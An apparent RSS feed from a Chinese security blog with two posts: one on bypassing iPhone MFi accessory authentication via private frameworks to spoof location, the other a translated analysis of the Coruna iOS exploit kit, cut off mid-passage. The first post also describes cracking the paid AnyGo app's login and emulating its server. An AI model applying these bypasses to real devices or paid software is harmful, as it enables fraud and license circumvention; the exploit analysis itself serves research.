<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>溴化锂的笔记本</title>
        <link>https://nvme0n1p.dev</link>
        <description>Keep Learning</description>
        <lastBuildDate>Mon, 06 Jul 2026 10:41:57 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>zh-CN</language>
        <atom:link href="https://nvme0n1p.dev/feed" rel="self" type="application/rss+xml" />
        <image>
            <title>溴化锂的笔记本</title>
            <url>https://nvme0n1p.dev/logo.svg</url>
            <link>https://nvme0n1p.dev</link>
        </image>
        <copyright>All rights reserved 2023, LiBr</copyright>
        <category>题解</category>
        <category>安全技术</category>
        <category>运维？</category>
        <item>
            <title><![CDATA[关于模拟Carplay，MFi，还有....]]></title>
            <link>https://nvme0n1p.dev/posts/about-carplay-mfi</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/about-carplay-mfi</guid>
            <pubDate>Sat, 04 Jul 2026 01:00:00 GMT</pubDate>
            <description><![CDATA[嘿嘿嘿好好玩，原来还可以这样子绕过哦]]></description>
            <content:encoded><![CDATA[<p>起因是前几天在Github上刷到了这个 <a href="https://github.com/amineross/showcase">https://github.com/amineross/showcase</a> 仓库。大概意思是找一个旧平板，停掉系统BTStack还有Wifi自己接管。然后就能和iPhone建立iAP2连接，最后协商连接手机Wifi，就能拿到Carplay画面。</p><p>这让我非常震惊，因为在 <a href="/posts/ios-location-modify" rel="noreferrer noopener" target="_blank">上一篇文章</a> 里面，我写过关于MFi改定位的一小个想法，但是由于MFi改定位会需要手机和真实MFi chip进行交互认证，而这个iPhone可以直接不用MFi chip里的证书就通过认证？</p><p>于是我找到了MFi的specification：</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/cc4b58682e56d808bb966753206352cc.webp" /><figcaption>4.1 Accessory Authentication Requirements</figcaption></figure><p>可以看到这里五步：</p><ol><li><code>RequestAuthenticationCertificate</code>：请求证书（iPhone → MFi）0xAA00</li><li><code>AuthenticationCertificate</code>：发送证书（MFi → iPhone) 0xAA01</li><li><code>RequestAuthenticationChallengeResponse</code> ：请求challenge，这里会发送一个nonce交给MFi进行签名（iPhone → MFi）0XAA02</li><li><code>AuthenticationResponse</code>：返回签名完成的challenge（MFi → iPhone）0xAA03</li><li><code>AuthenticationFailed</code>：失败（iPhone → MFi）0xAA04</li></ol><p>然后我就去对比了下showcase里的MFi认证的逻辑函数，是这个：</p><pre><code class="language-c" data-language="c">static void handle_ctrl_msg(uint16_t msg_id, uint8_t *params, int plen) {
    printf(&#34;[CTRL] msg=0x%04X (%d bytes)\n&#34;, msg_id, plen);

    switch (msg_id) {
    /* ── Authentication ── */
    case 0xAA00:
        printf(&#34;[CP] *** RequestAuthCert ***\n&#34;);
        send_auth_cert();
        break;
    case 0xAA02: {
        printf(&#34;[CP] *** RequestAuthChallenge ***\n&#34;);
        if (plen&gt;=4) {
            int dlen=((params[0]&lt;&lt;8)|params[1])-4;
            if (dlen&gt;0&amp;&amp;dlen&lt;=1024) send_auth_response(&amp;params[4],dlen);
        }
        break;
    }
    case 0xAA04: printf(&#34;[CP] *** AUTH FAILED ***\n&#34;); break;
    case 0xAA05:
        mfi_auth_succeeded = 1;
        printf(&#34;[CP] *** AUTH SUCCEEDED! ***\n&#34;);
        maybe_start_handoff_watchdog();
        break;
....
</code></pre><p>然后是证书申请：</p><pre><code class="language-objective-c" data-language="objective-c">static void issue_baa_cert(void) {
    printf(&#34;[BAA] Issuing certificate...\n&#34;);
    void *di = dlopen(&#34;/System/Library/PrivateFrameworks/DeviceIdentity.framework/DeviceIdentity&#34;, RTLD_NOW);
    if (!di) di = dlopen(&#34;/System/Library/PrivateFrameworks/MobileActivation.framework/MobileActivation&#34;, RTLD_NOW);
    if (!di) { printf(&#34;[BAA] Cannot load framework!\n&#34;); return; }
    typedef void (^DIBlock)(id, id, id);
    typedef void (*DIFunc)(id, id, DIBlock);
    DIFunc fn = (DIFunc)dlsym(di, &#34;DeviceIdentityIssueClientCertificateWithCompletion&#34;);
    if (!fn) { printf(&#34;[BAA] No issuance func!\n&#34;); return; }

    dispatch_semaphore_t sem = dispatch_semaphore_create(0);
    fn(nil, [NSDictionary dictionary], ^(id k, id c, id e) {
        if (e) { NSLog(@&#34;[BAA] Error: %@&#34;, e); dispatch_semaphore_signal(sem); return; }
        NSArray *ca = (NSArray *)c;
        if ([ca count] &lt; 2) { dispatch_semaphore_signal(sem); return; }
        baa_private_key = (SecKeyRef)CFBridgingRetain(k);
        CFDataRef d1 = SecCertificateCopyData((__bridge SecCertificateRef)ca[0]);
        baa_leaf_len = (int)CFDataGetLength(d1);
        baa_leaf_der = malloc(baa_leaf_len); memcpy(baa_leaf_der, CFDataGetBytePtr(d1), baa_leaf_len);
        CFRelease(d1);
        CFDataRef d2 = SecCertificateCopyData((__bridge SecCertificateRef)ca[1]);
        baa_inter_len = (int)CFDataGetLength(d2);
        baa_inter_der = malloc(baa_inter_len); memcpy(baa_inter_der, CFDataGetBytePtr(d2), baa_inter_len);
        CFRelease(d2);
        baa_ready = 1;
        printf(&#34;[BAA] Leaf=%d Inter=%d — ready\n&#34;, baa_leaf_len, baa_inter_len);
        dispatch_semaphore_signal(sem);
    });
    dispatch_semaphore_wait(sem, dispatch_time(DISPATCH_TIME_NOW, 30LL * NSEC_PER_SEC));
}</code></pre><p>这里是用的DeviceIdentity/MobileActivation的私有框架完成的。<s>诶你他娘的还真是个天才</s></p><p>这样居然能过iPhone的证书信任链，那AnyGo这个东西我就再也不用付费了嘿嘿嘿。</p><p>接下来简单实验了下发现，一般adhoc的二进制过不了amfi，过了之后函数内还有其他的白名单限制。逆向发现这三个进程名字都可以过</p><ul><li><code>CarPlay Simulator</code></li><li><code>CarDisplaySim</code></li><li><code>Carplay Sim</code></li></ul><p>于是我们可以简易写一个小注入去绕一下AnyGo的注册登录逻辑，然后把他们的服务端模拟一下，就可以正常修改定位了。并且这个修改在大部分情况下不会被过滤：</p><p>过滤的绝大部分是<a href="https://developer.apple.com/documentation/corelocation/cllocationsourceinformation/issimulatedbysoftware">isSimulatedBySoftware</a>，但是这里用的是<a href="https://developer.apple.com/documentation/corelocation/cllocationsourceinformation/isproducedbyaccessory">isProducedByAccessory</a> 。</p><p>然后是关于Location Information的Specs：同样是手机侧先请求，后续再发送位置信息。</p><figure><img src="https://cdn.nvme0n1p.dev/2026/07/2b6a50f0b83965e4a7908202b9ed75cb.webp" /></figure><p>非常不错啊，但是我懒得处理细节了，于是就有了这个～</p><figure><img src="https://cdn.nvme0n1p.dev/images/2026/07/2026070307010511.jpg?v=1783062073867" alt="AnyGo" width="1008" height="630" /></figure><h3 id="whats-more">What’s More</h3><p>同时我们可以注意到苹果自带的Additional Tool里有一个Carplay Simulator：它的连接/认证方式是usb。也就是，理论上这个MFi连接是可以从手机到浏览器的，那么接下来下一步就是把做成有线修改Accessory定位了。</p><p>检查之后发现这里Carplay Simulator用的是lockdownd的<code>com.apple.carkit.service</code> 并且在这上面封装了iAP2流。</p><p></p><p></p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/cats/security-tech">安全技术</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/about-carplay-mfi.png" />
        </item>
        <item>
            <title><![CDATA[Coruna 漏洞利用框架深度技术分析（翻译）]]></title>
            <link>https://nvme0n1p.dev/posts/coruna-exploit-analysis</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/coruna-exploit-analysis</guid>
            <pubDate>Tue, 12 May 2026 09:40:54 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<blockquote>⚠️ </blockquote><blockquote>原文链接：<a href="https://littlelailo.github.io/writeups/coruna.html">Deep dive and technical analysis of the Coruna exploit framework</a></blockquote><blockquote>翻译润色来自：kimi k2.6 / glm 5.1</blockquote><h2 id="1-qian-yan">1. 前言</h2><p>过去几周，我深入研究了这个漏洞利用套件，它非常有趣，让我回想起了当年把 iOS 安全研究当作爱好的日子。在语音通话中琢磨各个阶段的工作原理，这个过程本身就充满乐趣；我觉得在遗忘之前，应该把这些内容记录下来。</p><p>如果你和我一样，喜欢在逐步分析中核实每一个细节，我完全理解；但我也明白，你可能只是想了解一个高层概览。因此，我决定将每个子章节都作为独立部分来撰写，这意味着你可以轻松跳过任何一级或二级标题，而不会遗漏太多上下文。除此之外，我还决定将所有四级标题设为可折叠，只在那里讨论非常深入的技术细节，这样就可以轻松跳过它们。</p><p>同样，我不确定你的知识水平如何。因此，我在文章的参考部分引用了相关主题的其他文章。</p><p>现在请享受阅读吧 :)</p><h2 id="2-fa-xian">2. 发现</h2><p>Google 威胁情报小组（GTIG）和 iVerify 都发布了关于一个名为 Coruna 的漏洞利用套件的博客文章，该套件覆盖 iOS 13.0 至 17.2.1。他们没有提供样本，但由于 GTIG 公布了攻击使用的 URL 列表，其中一些 URL 仍然活跃，我得以获取到针对 iOS 17.1 的流量捕获，并以此为基础进行分析。</p><h3 id="21-gtig-yu-iverify">2.1. GTIG 与 iVerify</h3><p>3月3日，<a href="https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit">GTIG</a> 和 <a href="https://iverify.io/blog/coruna-inside-the-nation-state-grade-ios-exploit-kit-we-ve-been-tracking">iVerify</a> 都发布了关于他们长期追踪的一款国家级 iOS 漏洞利用套件的博客文章。该套件最初被一家监控公司的客户使用，后来又被用于对乌克兰网站和中国赌博网站发起水坑攻击。在其中一个网站上，攻击者托管了该套件的调试版本，使 GTIG 得以获取漏洞名称（可能还有很多调试打印信息——真想看看这些）。因此，他们发布了一个包含全部 23 个漏洞的详细表格，涵盖名称、用途、CVE 等信息：</p><table><thead><tr><th>漏洞类型</th><th>内部名称</th><th>目标版本</th><th>修复版本</th><th>CVE</th></tr></thead><tbody><tr><td>WebContent 读写</td><td>buffout</td><td>13 到 15.1.1</td><td>15.2</td><td>CVE-2021-30952</td></tr><tr><td>WebContent 读写</td><td>jacurutu</td><td>15.2 到 15.5</td><td>15.6</td><td>CVE-2022-48503</td></tr><tr><td>WebContent 读写</td><td>bluebird</td><td>15.6 到 16.1.2</td><td>16.2</td><td>无 CVE</td></tr><tr><td>WebContent 读写</td><td>terrorbird</td><td>16.2 到 16.5.1</td><td>16.6</td><td>CVE-2023-43000</td></tr><tr><td>WebContent 读写</td><td>cassowary</td><td>16.6 到 17.2.1</td><td>16.7.5, 17.3</td><td>CVE-2024-23222</td></tr><tr><td>WebContent PAC 绕过</td><td>breezy</td><td>13 到 14.x</td><td>?</td><td>无 CVE</td></tr><tr><td>WebContent PAC 绕过</td><td>breezy15</td><td>15 到 16.2</td><td>?</td><td>无 CVE</td></tr><tr><td>WebContent PAC 绕过</td><td>seedbell</td><td>16.3 到 16.5.1</td><td>?</td><td>无 CVE</td></tr><tr><td>WebContent PAC 绕过</td><td>seedbell_16_6</td><td>16.6 到 16.7.12</td><td>?</td><td>无 CVE</td></tr><tr><td>WebContent PAC 绕过</td><td>seedbell_17</td><td>17 到 17.2.1</td><td>?</td><td>无 CVE</td></tr><tr><td>WebContent 沙箱逃逸</td><td>IronLoader</td><td>16.0 到 16.3.1（&lt;= A12 为 16.4.0）</td><td>15.7.8, 16.5</td><td>CVE-2023-32409</td></tr><tr><td>WebContent 沙箱逃逸</td><td>NeuronLoader</td><td>16.4.0 到 16.6.1（A13 - A16）</td><td>17.0</td><td>无 CVE</td></tr><tr><td>PE（权限提升）</td><td>Neutron</td><td>13.X</td><td>14.2</td><td>CVE-2020-27932</td></tr><tr><td>PE（信息泄露）</td><td>Dynamo</td><td>13.X</td><td>14.2</td><td>CVE-2020-27950</td></tr><tr><td>PE</td><td>Pendulum</td><td>14 到 14.4.x</td><td>14.7</td><td>无 CVE</td></tr><tr><td>PE</td><td>Photon</td><td>14.5 到 15.7.6</td><td>15.7.7, 16.5.1</td><td>CVE-2023-32434</td></tr><tr><td>PE</td><td>Parallax</td><td>16.4 到 16.7</td><td>17.0</td><td>CVE-2023-41974</td></tr><tr><td>PE</td><td>Gruber</td><td>15.2 到 17.2.1</td><td>16.7.6, 17.3</td><td>无 CVE</td></tr><tr><td>PPL 绕过</td><td>Quark</td><td>13.X</td><td>14.5</td><td>无 CVE</td></tr><tr><td>PPL 绕过</td><td>Gallium</td><td>14.x</td><td>15.7.8, 16.6</td><td>CVE-2023-38606</td></tr><tr><td>PPL 绕过</td><td>Carbone</td><td>15.0 到 16.7.6</td><td>17.0</td><td>无 CVE</td></tr><tr><td>PPL 绕过</td><td>Sparrow</td><td>17.0 到 17.3</td><td>16.7.6, 17.4</td><td>CVE-2024-23225</td></tr><tr><td>PPL 绕过</td><td>Rocket</td><td>17.1 到 17.4</td><td>16.7.8, 17.5</td><td>CVE-2024-23296</td></tr></tbody></table><p>这是 GTIG 发布的表格，有两个小细节我不太确定：根据选择代码来看，buffout 可能从 iOS 11 起就可以被利用；Rocket 被列在 <a href="https://support.apple.com/en-us/120893">17.4 安全公告</a> 中。但该漏洞在 iOS 版本早于 iOS 13 时会提前退出，因此我并无证据表明 buffout 可在更低版本上被利用。正如我们将在 seedbell 的<a href="https://littlelailo.github.io/writeups/coruna.html#seedbell_ana">分析</a>中看到的，我现在知道所有 seedbell 变体都已在 iOS 18.0 beta 1 中被修补。</p><p>除了这个表格，关于漏洞本身公开的信息非常少。不过 GTIG 提到他们将在稍后发布根因分析（RCA），一旦发布我一定会在这里附上链接。iVerify 和 GTIG 都已经对植入物进行了深入分析，因此我不会在这篇文章中重点关注它。</p><h3 id="22-huo-qu-yang-ben">2.2. 获取样本</h3><p>当这些文章发布时，我非常兴奋，主要是因为近期没有任何关于 iOS 漏洞利用的大型公开分析，还因为表格中有一些条目没有 CVE、甚至没有修复版本，这表明这些漏洞尚未进行过根因分析。我特别对 seedbell PAC 绕过感兴趣，因为我过去对用户态 PAC 做过大量研究。</p><p>但由于 GTIG 和 iVerify 都没有发布任何样本，最初我自己分析它们似乎是不可能的。后来我得知 GTIG 文章中列出的一些 URL 仍然活跃，甚至还有人自愿感染自己的设备，希望能获得越狱工具。这是一个非常糟糕的主意，我至今仍不理解 GTIG 为何要公布仍在提供服务的 URL，但这使我得以获取样本并进行这次分析。这也可能让早期 iOS 17 版本的越狱成为可能。所以总的来说，我欢迎 GTIG 分享样本，但理想情况下这应该以一种受控的方式进行——例如，他们可以省略 JIT 加载器或初始 RCE 阶段，以防止他人轻易武器化该套件，但仍允许分析漏洞并将其用于越狱，而后者可以用来更好地分析未来的漏洞链。</p><p>感谢 <a href="https://x.com/alfiecg_dev">Alfie</a>，我得以获取到针对运行 iOS 17.1 的手机的原始流量捕获。在初始分析期间，我以为最终会遇到障碍，因为漏洞利用套件会进行 Diffie-Hellman 密钥交换然后加密后续阶段，但正如我们将看到的，令我惊讶的是情况并非如此。</p><p>该捕获包含以下文件：</p><pre><code class="language-text" data-language="text">377bed7460f7538f96bbad7bdc2b8294bdc54599.js
4817ea8063eb4480e915f1a4479c62ec774f52ce.min.js
4a75f0551eba446b4fa35127024a84b71d9688d6.js
6beef463953ff422511395b79735ec990bed65f4.js
7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js
9af53c1bb40f0328841df6149f1ef94f5336ae11.js
bef10a7c014b826e9dd645984e80baf313c1635f.js
favicon.ico
group.html</code></pre><p>它来自其中一个中国赌博网站，所以我拿到的是他们版本的套件和植入物。该套件的其他变体可能有所不同，但根据背景来看，我怀疑任何一个部署都没有做大的改动。</p><h3 id="23-xiang-guan-xing-dong">2.3. 相关行动</h3><p>事态出现了非常有趣的转折：大约三周后的18日，<a href="https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain">GTIG</a>、<a href="https://iverify.io/blog/darksword-ios-exploit-kit-explained">iVerify</a> 和 <a href="https://www.lookout.com/threat-intelligence/article/darksword">Lookout</a> 都发布了关于另一款名为”DarkSword”的 iOS 漏洞利用套件的博客文章。这是 Lookout 通过跟踪 Coruna 的 C2 基础设施，并在同一 IP 地址上发现了一个提供类似漏洞利用套件的域名而发现的。由于该套件后来也在 GitHub 上被泄露，我推测其他人也做了同样的事情。所以 GTIG 不仅暴露了 Coruna 正在活跃服务的 URL，而且还促成了另一个套件的发现。由于 DarkSword 完全用 JavaScript 编写且完全没有混淆，它更容易分析，并且已经有一些关于它的文章（例如关于<a href="https://gist.github.com/Muirey03/8c8370258e32bafaf99e72ec90258c8d">内核漏洞</a>的分析）。如果我有时间，我可能仍然会决定再写一篇关于它的分析并在这里附上链接。</p><p>尽管 DarkSword 与 Coruna 由同一运营方使用，但这两个套件差异显著，且 Coruna 存在大量可被开发者复用的工程痕迹，因此我认为它们并非出自同一开发实体。相反，看起来运营商是从两个不同来源获取了这些套件。</p><h2 id="3-ji-shu-fen-xi">3. 技术分析</h2><p>本节我将对套件展开全面分析，从着陆页讲起，直至 SPTM/PPL 绕过。由于只有 iOS 17.1 版本的流量捕获，此分析仅限于该版本套件中使用的漏洞，即 cassowary（WebContent 读写）、seedbell_17（PAC 绕过）、Gruber（内核读写）和 Rocket（PPL/SPTM 绕过）。我尚未分析 Sparrow（PPL 绕过——暂时 ;）。我不会深入分析植入物本身，因为 GTIG 和 iVerify 都已经对其进行了深入分析。除了漏洞本身，我还将涵盖围绕它们的大量基础设施以及中间阶段，如 MachO 加载框架。</p><p>Cassowary 源于 JIT 编译器线程与主线程之间的竞态条件，并被转化为类型混淆。随后将其升级为经典的 fakeobj 和 addrof 原语，并通过 3 个阶段升级到 WebContent 进程中的完整读写能力。随后框架检测 PAC；若存在，则通过 seedbell_17 获取 PACIZA 签名原语，然后将其升级为 8 参数函数调用原语。有了调用任意函数的能力和 WebContent 进程中的完整读写能力，该套件随后使用一个模块将 MachO 文件加载到内存中并执行它。这个 MachO 文件通过共享内存缓冲区与 JavaScript 通信，并下载一个配置文件以及另外两个阶段，后者包含内核 LPE Gruber 和 PPL/SPTM 绕过 Rocket。Gruber 是 vm 子系统中的竞态条件，会导致 vm_object 上的引用计数减少，随后将其转化为 pUAF，并进一步升级为物理映射原语，从而获得内核读写能力。之后使用 GFX 协处理器通过 Rocket 绕过 PPL/SPTM，创建一个自引用页表项，从而允许套件写入任何物理地址。之后的植入物加载阶段，我没有进一步分析。</p><h3 id="31-tou-di-js-kuang-jia">3.1. 投递（+ JS 框架）</h3><p>本节涵盖漏洞利用套件的投递机制以及编排漏洞利用的主要 JavaScript 框架，通过加载不同模块来完成各个漏洞利用阶段。模块本身将在下一节中进一步探讨。</p><h4 id="311-grouphtml">3.1.1. group.html</h4><p>漏洞利用套件通过 group.html 投递，可以分为以下组件：</p><ul><li>禁用页面缓存的 HTML meta 标签</li><li>一个包含两个不同部分的 script 标签，用于投递漏洞利用</li><li>Google 和 Cloudflare 跟踪链接</li></ul><h4 id="312-qian-ru-shi-javascript">3.1.2. 嵌入式 JavaScript</h4><p>嵌入式 JavaScript 分为两个部分：第一部分负责实际的漏洞利用，第二部分负责指纹采集。代码经过压缩和轻度混淆，具体使用了三种技术：</p><ul><li>变量名被替换为无意义的字符串；这种映射似乎是确定性完成的，因为跨源文件是稳定的</li><li>整数通常通过将其转换为简单表达式（主要是异或）来混淆，例如 <code>(1163411831 ^ 1146639985)</code></li><li>许多字符串被转换为 <code>[115,118,...,39,32,114].map(p=&gt;String.fromCharCode(p^66)).join(&#34;&#34;)</code> 的形式，使用随机的异或密钥</li></ul><p>我无法将这种混淆模式与任何已知的公共混淆器关联起来（最接近的是 <a href="https://github.com/rapid7/metasploit-framework/wiki/How-to-obfuscate-JavaScript-in-Metasploit/5a82dc86ec8cef1d48be35a25d01fd64839e3ef1">Metasploit 的</a>，但看起来是定制的）。</p><h4 id="3121-bian-xie-fan-hun-xiao-qi">3.1.2.1. 编写”反混淆器”</h4><p>（点击展开）
变量重命名无从着手，但对于整数和字符串，我决定编写几个正则表达式，然后就地计算表达式：</p><pre><code class="language-text" data-language="text">const stringRegex = /\[\d+(, ?\n?\d+)*\]\.map\((.) ?=&gt; ?({return )?String\.fromCharCode\(\2 ?\^ ?(\d)+\)(;?})?\)\.join\(\&#34;\&#34;\)/g;
    const xorRegex = /\(-?(\d){3,} \^ -?(\d){3,}\)/g;
    const addRegex = /\(-?(\d){3,} \+ -?(\d){3,}\)/g;

    const matches = [...fileText.matchAll(stringRegex)];
      for (const match of matches) {
        const expr = match[0];
        let replacement = &#39;&#39;;
        try {
          replacement = eval(expr);
        } catch (e) {
          replacement = expr;
        }
        replacement = &#34;\&#34;&#34; + replacement + &#34;\&#34;&#34;;
        output = output.replace(expr, replacement);
      }
      ...</code></pre><p>之后，我将反混淆后的压缩 JavaScript 通过 js-beautify 运行，然后开始在支持变量重命名的 IDE 中逆向它，尽可能在注释中跟踪原始变量名，这样我仍然可以在 JS 文件之间交叉引用它们。</p><p>第二部分仅负责指纹采集，快速总结如下：1 秒后它会——</p><ul><li>检查浏览器是否存在漏洞，如果是：</li><li>获取客户端的 IP 地址</li><li>从用户代理获取操作系统版本</li><li>将这些信息发送到服务器</li></ul><p>第一部分将初始化一个我命名为 dispatcher 的大对象，负责管理多个不同的 JavaScript 模块。它已经内置了两个模块，编码为 base64 字符串，但也支持稍后通过传递 base64 或 XMLHttpRequest 加载新模块。</p><p>模块可以通过其哈希值访问，两个已加载的模块是：</p><ul><li><code>57620206d62079baad0e57e6d9ec93120c0f5247</code>：一个杂项辅助库</li><li><code>14669ca3b1519ba2a8f40be287f646d4d7593eb0</code>：主漏洞利用模块</li></ul><p>从长度来看，这些哈希应为 SHA1，但我未能找到任何字符串，其哈希值与它们匹配。由于 GTIG 提到他们有这个套件的调试版本，我想知道哈希是否是在该版本上生成的，或者我们是否能够通过它获取真实名称。</p><h4 id="3122-fu-zhu-mo-kuai">3.1.2.2. 辅助模块</h4><p>辅助模块包含处理数字的类，因为 JavaScript 无法原生表示 64 位整数。有一个类将 64 位数字保存在两个 32 位部分中，然后处理 JSValue、浮点数或 BigInt 的输入和输出，并对其进行基本数学运算。第二个类用于在不同类型之间进行转换，使用众所周知的技巧：让 ArrayBuffer 在不同类型的 JS 数组和 DataView 之间共享。除此之外，还有处理不同字符串的函数，基本上是在 UTF-16 和 UTF-8 之间转换、处理字节数组以及基于类似 LZW 压缩的字符串解压缩。还有一些粘合代码，主要是将不同数字表示形式粘合在一起。这是我注意到这个套件普遍存在的一个问题：通常有多个相同逻辑的实现，可能是因为不同的开发团队在不同的链部分工作，后来他们不得不将所有这些集成在一起，但没有做适当的工程工作来统一代码库。</p><p>在大型 dispatcher 对象之外，主脚本将设置 dispatcher 获取模块的基础 URL 和一个 cookie。根据博客文章，这个 cookie 对每个受害者是唯一的。cookie 被前置到模块的哈希值，然后通过 JS SHA1 实现计算整个内容的 SHA1 哈希，加上”.js”后缀后从基础 URL 获取模块。</p><p>10毫秒后（推测是为了让页面的其余部分加载完成），主函数被调用，返回值被发送回服务器。主函数将初始化主漏洞利用模块，该模块允许以下配置：</p><ul><li>发送日志数据的 URL（此部署中未设置）</li><li>用于稍后获取配置和动态库（MachO 链接器、LPE 和植入物）的资源 URL</li><li>用于解密所有获取的动态库/配置的 ChaCha20 密钥（此密钥在脚本中硬编码）</li><li>允许在无头浏览器/自动化环境下继续运行的布尔值（部署中为 false）</li><li>启用日志记录的布尔值（部署中为 false）</li><li>navigator.platform</li><li>navigator.userAgent</li></ul><p>随后，若未在 Safari 或 AppleWebKit 中运行，它将报错退出，并从用户代理解析 iOS 版本。看起来除了常规 Safari 之外，该漏洞利用套件还支持从 iTunes Store 运行，这通过在 JS 中匹配用户代理中的 MobileStore 字符串，以及稍后在 LPE 阶段中体现。对于所有这些值，代码更新一个我称为 device_properties 的全局结构。最后一步是根据版本特定的值更新此结构。有趣的是，这样做的方式是遍历按最旧版本排序的版本数组，然后让更新的版本覆盖更旧的属性。我觉得这很巧妙，因为它允许在属性改变时轻松更新，而不必每次都完全复制它们。</p><p>之后，如果运行在 macOS 上（通过 platform 或 TouchEvent 不存在来检测），或者 iOS 版本低于 iOS 13，漏洞利用主函数将报错退出。对于 iOS 16 及更高版本，它们使用主模块中的辅助函数检测<a href="https://support.apple.com/en-us/105120">锁定模式</a>（LDM），该函数将检查 RTC JS 接口（例如 RTCPeerConnection）是否存在、WebGLRenderingContext 是否存在，以及通过 <code>&lt;math&gt;</code> HTML 标签的数学文本渲染是否正常工作，如果检测到则退出。类似地，如果设备在无头浏览器中（通过 navigator.webdriver 检测）或在隐私浏览模式中（通过 indexedDB 或 localStorage 检测），它也会退出，除非配置允许继续。我认为这强烈暗示该套件已经在某种自动化设置中测试过，这种检测被设为非致命的。</p><p>指纹采集完成后，它将根据 iOS 版本选择对应的 WebContent 读写漏洞利用模块。如果找不到，它将再次退出（例如运行 iOS 17.3 或更高版本的设备就是这种情况），然后调用它最多 20 次以获取读写能力。在此捕获中，选择了 <code>e3b6ba10484875fabaed84076774a54b87752b8a</code>，即 cassowary 漏洞利用。</p><p>获得读写能力后，它可通过比较 WebAssembly.Table 与 WebAssembly.Instance 对象函数指针的高 32 位来检测 PAC；如果相同则假定没有 PAC。由此他们还获得了指向 JavaScriptCore (JSC) 的函数指针，从中可以回溯到 MachO 头部（在页面开头搜索 <code>0xFEEDFACF</code>），然后从中读取 CPU 类型以确定运行在 ARM 还是 Intel 上。这用于对配置值进行最后一轮更新以选择正确的漏洞利用，然后 device_properties 对象被冻结。</p><p>若检测到 PAC，则需要予以绕过。为此，它们调用一个辅助函数，该函数将根据 iOS 版本加载一个 PAC 绕过模块并调用它，以导出一个签名器对象，允许外部调用从那时起使用任何密钥和上下文进行签名。对于其中两个 PAC 绕过，除了 PAC 绕过模块（<code>29b874a9a6cc9fa9d487b31144e130827bf941bb</code>（seedbell_17）或 <code>9db8a84aa7caa5665f522873f49293e8eebccd5c</code>（可能是 seedbell_16.6））之外，还加载了一个辅助模块（<code>477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba</code>），该模块导出 dyld 共享缓存解析功能到主 PAC 绕过模块。对于此捕获，加载了 seedbell_17，因为它针对的是具有 PAC 的设备上的 iOS 17.1。</p><p>在获得读写及任意函数调用能力后，该套件随即加载原生代码并执行其 LPE。为此它将加载最后一个 JavaScript 模块（在此捕获中为 <code>c03c6f666a04dd77cfe56cda4da77a131cbb8f1c</code>），然后该模块执行 JITBox 绕过，并使用一段 shellcode 来链接一个 MachO（以内联 base64 压缩存储），然后使用 JavaScript 获取配置和另外两个动态库并加载执行，后者是权限提升阶段。</p><p>总体而言，其设计相当巧妙：它在另一个线程上执行原生代码的同时维持 JS 代码执行，并通过数组在两者之间通信。我将在 <a href="https://littlelailo.github.io/writeups/coruna.html#h_macho_loader_framework">MachO 加载器框架</a> 部分进一步详述这一点。</p><p>这就是整个链，让我们详细看看各个模块：</p><h3 id="32-webkit-du-xie">3.2. WebKit 读写</h3><p>注意：这是我首次深入研究 JSC JIT 漏洞，因此某些细节可能不够准确。我很乐意接受任何修正，如果有人发布其他分析文章，我也会链接到这里。</p><p>该漏洞是 JSC 属性观察点机制中的一个弱点，可以通过竞态编译器线程和主线程将其转化为类型混淆。这然后被升级为经典的 fakeobj 和 addrof 原语，从那里通过数组 butterfly 从相对写入升级到绝对写入，然后通过 WebAssembly (Wasm) 全局变量升级到完整读写。</p><p>别担心——上面段落中一半的术语我在开始时也不理解，这就是为什么我专门写了下一节，在讨论漏洞之前更详细地解释一些概念。</p><h4 id="321-li-jie-lou-dong-suo-xu-de-xin-xi">3.2.1. 理解漏洞所需的信息</h4><p>为了彻底理解其原理，我们需要涉及大量背景知识。我将尝试在这里总结我的整个心智模型，既帮助经验较少的人更好地理解，也可能会让更有经验的人发现其中的缺陷。话虽如此，整个过程太复杂了，无法在一个章节中完全涵盖，所以我强烈建议阅读<a href="https://webkit.org/blog/10308/speculation-in-javascriptcore/">这篇</a>关于 JSC 中 JIT 的非常长但非常好的博客文章，以及可能还有<a href="https://zon8.re/posts/jsc-internals-part1-tracing-js-source-to-bytecode/">这个</a><a href="https://zon8.re/posts/jsc-internals-part2-the-llint-and-baseline-jit/">博客</a><a href="https://zon8.re/posts/jsc-part3-the-dfg-jit-graph-building/">文章</a><a href="https://zon8.re/posts/jsc-part4-the-dfg-jit-graph-optimisation/">系列</a>，这些帮助我更好地理解了一些不同的 JIT 阶段。</p><p>JavaScript 是一种弱类型语言，这意味着同一个变量在运行时可以持有不同类型的值。例如，一个变量最初可以持有一个整数，后来持有一个字符串。因此，即使是简单的加法操作也可能有非常复杂的实现，因为它们需要考虑不同的变量类型（例如，“相加”两个字符串会将它们连接起来）。这使得 JS 执行相当慢，但现代 Web 应用程序有性能需求，需要以某种方式变得更快。为了加速执行，所有现代浏览器都有一个即时（JIT）编译器，它将 JS 字节码（解释器使用的 JS 代码的中间表示）编译为原生机器码。然后，在编译完成后，浏览器将跳转到编译后的代码并执行它而不是解释字节码，这要快得多。但即使这样还不够，因为基本上这只意味着 Web 开发者会写更多会导致网站再次卡顿的代码，所以在这个已经非常复杂的编译过程之上，JIT 做了大量的优化工作来使代码运行更快，这反过来又创造了更多的复杂性，从而为漏洞创造了更多攻击面。</p><p>由于编译本身属于计算密集型操作，JIT 仅会编译”热”代码，即被执行多次的代码。在 JSC 中，函数通过不同的 JIT 进行”分层升级”，这些 JIT 